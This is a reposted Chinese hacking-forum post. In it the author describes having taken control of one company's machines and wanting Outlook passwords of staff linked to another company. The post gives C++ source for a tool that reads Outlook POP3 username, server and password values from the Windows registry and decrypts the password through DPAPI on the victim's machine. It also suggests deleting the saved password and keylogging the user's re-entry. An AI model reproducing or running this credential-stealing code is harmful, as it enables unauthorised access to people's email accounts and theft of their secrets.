标签:
原文连接:https://forum.90sec.org/forum.php?mod=viewthread&tid=8410
作者:Agile
用过OUTLOOK的人都知道,OUTLOOK的密码会以二进制的方式保存在注册表里,而我们只要找到注册表的值,是可以直接解密成铭文的。
这几天一直在搞一台个人机,这台机器关系人物是这样的。
A集团。
B集团。
我已经控制了B集团,但是B集团里有人还在A集团里干事,我比较喜欢A集团,所以得把B集团的远程访问内部的账户密码难道,其中就包括啦 OUTLOOK的密码。
但是一般用户在设置的时候,OUTLOOK密码是默认记住的,以下是几种办法:
OUTLOOK密码保存那儿,方式一般分3种把?(如果说错了请见谅)
1:IMAP
2:POP3
3:SMTP
今天研究了一天,觉得还是没问题的,办法如下:
Ps:很多人说网上工具不少,工具确实不少,但是你知道工具原理是怎么做的吗? 工具免杀吗?工具有后门吗? 这些都是一个问题,所以我才写这个小工具
1:找到PASSWORD的值,删了,键盘记录,直接记录下了。
2:直接找到地址,解密PASSWORD的值
目前我就想到这2种方式,本来之前zcgonvh和我说的时候,我说:不能直接把注册表值DUMP本地来破解吗?
zcgonvh 的回复是:不可以,必须在目标机器目标用户解密
dpapi用的是rsa/dsa+3des/aes,默认是rsa+3des。本地有一个与用户sid、机器全局guid关联的key用作解密,即使拷出来由于不同机器的用户sid和guid不同也会导致无效,光复制数据的话肯定是解密不了的。
所以这种方式我也没试过。
代码写的很粗糙,因为基础不行,所以给一些需要的人用。
Code:
#include "stdafx.h" #include <windows.h> #include <iostream> #include <cstdlib> #include <stdio.h> using namespace std; #pragma comment(lib, "crypt32.lib") WINCRYPT32API BOOL WINAPI CryptUnprotectData( __in DATA_BLOB* pDataIn, // in encr blob __deref_opt_out_opt LPWSTR* ppszDataDescr, // out __in_opt DATA_BLOB* pOptionalEntropy, __reserved PVOID pvReserved, __in_opt CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, __in DWORD dwFlags, __out DATA_BLOB* pDataOut ); void opt(char* prog) { printf("Welcome [url=http://www.90sec.org]www.90sec.org[/url]\r\n"); printf("[-]:%s Get_pop3 passwords\r\n",prog); } int main(int argc,char* argv[]) { opt(argv[0]); printf("\r\n"); HKEY hKey; LPCTSTR lpRun = L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Test\\9375CFF0413111d3B88A00104B2A6676\\00000002"; //READ POP3 DATA define //---------------------------------------- DWORD sizeBuff = 1000; //read length DWORD dwtype = REG_BINARY; // reg type BYTE reBuff[1000] = {0}; //save string length long lRet; //Reg return values BYTE SmtpServer[200] = {0}; //read reg String length DWORD SMtplen = 200; //DWORD reg read length BYTE SmtpUser[200] = {0};//read reg String length DWORD SMtpUserlen = 200; //DWORD reg read length //------------------------------------------ lRet= RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_READ, &hKey); //open reg if (lRet != ERROR_SUCCESS) { printf("RegOpenKeyEx Failed\r\n"); return 0; }else { printf("RegOpenKeyEx Ing.....\r\n"); } if (RegQueryValueEx(hKey,L"POP3 User",0,&dwtype,SmtpUser,&SMtpUserlen) == ERROR_SUCCESS) //query Pop3 Server address { //cout << "Smtp User:" << SmtpServer << endl; printf("POP3 User:%S\r\n",SmtpUser);//print Pop3 user } if (RegQueryValueEx(hKey,L"POP3 Server",0,&dwtype,SmtpServer,&SMtplen) == ERROR_SUCCESS) //query Pop3 Server address { //cout << "Smtp User:" << SmtpServer << endl; printf("Smtp Server:%S\r\n",SmtpServer);//print server address } if(RegQueryValueEx(hKey,L"POP3 Password",0,&dwtype,reBuff,&sizeBuff) == ERROR_SUCCESS) //query POP3 password { DATA_BLOB DataPassword; DATA_BLOB DataOutput; DataPassword.cbData = sizeBuff -1; DataPassword.pbData = &reBuff[1]; if(CryptUnprotectData(&DataPassword,0,0,0,0,CRYPTPROTECT_UI_FORBIDDEN,&DataOutput)) //Crypt pop3 password { //cout << DataOutput.pbData << endl; wcout << "POP3 Password: " << (wchar_t*)DataOutput.pbData; //print password }else { cout << "Read error\r\n" << endl; //error return 0; } return 0; } RegCloseKey(hKey); return 0; }
如果是其他方式,改改代码就好了,就是路径问题。没有遍历注册表,查找值,有功底的改改把。
具体可以看这儿:http://securityxploded.com/outlookpasswordsecrets.php
标签:
原文地址:http://www.cnblogs.com/hookjoy/p/4337161.html